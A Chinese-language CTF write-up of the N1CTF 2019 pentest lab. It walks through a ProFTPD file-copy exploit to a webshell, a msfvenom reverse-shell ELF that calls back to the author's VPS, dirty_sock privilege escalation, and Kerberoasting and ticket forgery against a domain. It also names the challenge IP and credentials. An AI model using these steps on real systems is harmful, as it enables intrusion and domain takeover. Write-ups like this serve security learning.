@Author: Patrilic
@Time: 2019-09-10 01:20:33

0x00 前言

scanf大师傅的题,tql..orz
被haya师傅带着做了老半天,才肝出来第一题,然后后面因为太多人搅屎没办法做了..

现在比赛结束了,趁着师傅还没关环境复盘一下

0x01 Step 1

bfb092323f5fb9388df881f67790c5fa

入口ip:
简单探测一下端口:47.52.129.242
dd0b6c61e3921224e34a939bed7af5db

发现开了ProFTPD 1.3.5

稍微googole一下,发现存在任意文件拷贝漏洞(CVE-2019-12815)

使用ncftp 连接
926bccdda31f92e2756d6d79922d0b74

其实还是蛮卡的…
13ec778cbd22acd27d61aa2cddf1bf40

然后我们把msg文件写入到patrilic.php里

c33df3cd9728cf93922824154027574a

PS: 好像Windows连接需要密码,然后TOP1000字典就可以爆破出来,用户ftp 密码 mustang

所以现在我们有一个www-data权限的webshell,先反弹一个shell到我们的vps上

先查看一下内核版本:
82bb6955321a5530c3bf9a12277d6fb0

ok,使用msfvenom生成一个x64的linux reverse_shell木马,放在web目录下

1
msfvenom --payload  linux/x64/shell_reverse_tcp LHOST=45.xx.xx.xx LPORT=7778 -f elf -o /home/wwwroot/default/test.elf

我们用file_put_contents + file_get_contents将文件下载到/tmp目录下
d6ff181f69ac7604fe5c637ac30deb64

954843a51658096b9c4c38ff57e7b6fa

然后给个执行权限 就可以弹回shell了

bbf5cad7c673e608440379b7ff6ff091

然后给它升级一下,搞成meterpreter session
aa30ede9c3f038c1e9cd13dbca800839

提权的话,因为给了提示嘛,snap,也能比较容易想到是年初那个漏洞

CVE-2019-7304
github上也有exp:https://github.com/initstring/dirty_sock

然后因为有师傅搅屎..就把snap升级了,导致没提示的时候,很多师傅一脸懵逼
e1f33edcc2a556e7ed15a6c1bae0be25

不过snap是在18.04的版本之后才会自带,所以在这嫌疑还是比较大的

我们先用python得到一个半互式shell

1
python -c "import pty;pty.spawn('/bin/bash')"

b95386722c3c3a34961c7b8528cc83c4

可以看到其实,这个exp会生成一个dirty_sock用户,并且密码就是dirty_sock
9f889bd4914086f7264e6899039dd6ec

Get the flag: N1CTF{ImpOrtant_P0int3_4de0e}

0x02 Step 2

7a4b924e2833d1fcb3650d3014e8dcd4

ps获取进程列表
131de33d1136f8bf8d9186506a6e97f0

97c856f03e9a74098462c37adcfc9e6f

可以看到dev上有一个域用户
cd1e782d5470e4ef6206fffc7b86bbc6

使用meterpreter加载一个powerview.ps1来帮助我们信息搜集

注意在现在的branch里是没有Get-DomainUser等函数的,使用
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L4906

03048e40dac0352715cfbd422a7a75b6

以下省略1000字(就是常规的Get-DomainUser等进行搜集)

通过信息搜集,我们获取到了存在一个backup Server
e7ef96141c9817a0d3369e74910e1a32

调用Invoke-Kerberoast获取SPN密文
99c1cfebd9372ddf839cd407ca4099d9
解密: P@ssword123

然后后面就是约束委派,提权拿到\backup.n1ctf2019.lab\backupfile\DCServer的访问权限

里面存有注册表备份,使用impacket套件解密后拿到本地管理员hash

然后银票据,金票据,拿到DC权限,最后拿到域管理员桌面上的flag

0x03 总结

因为后面隧道实在是太不稳定了,session疯狂掉,一直在88这台机子上转悠
虽然好像就我一个人在弄
91d5a2c55d9806198151c414dd240769

vultr真惨啊..

然后后面的约束委派,实在是不怎么熟悉,还是经验太少..

最后实名膜一波scanf师傅,以及带我飞的haya师傅,orz

奉上官方wp:
https://github.com/Nu1LCTF/n1ctf-2019/blob/master/WEB/Pentest_N1CTF2019.lab/README.md

Nu1L太强了, 也感谢一波scanf师傅带来这么有趣的题目(不过如果没人搅屎的话说不定能肝出来step2 hhhh)

最后还是觉得,过段时间好好研究一波kerberos~,趁着还在学校hhhh(kekeo都没用过的我 太菜了)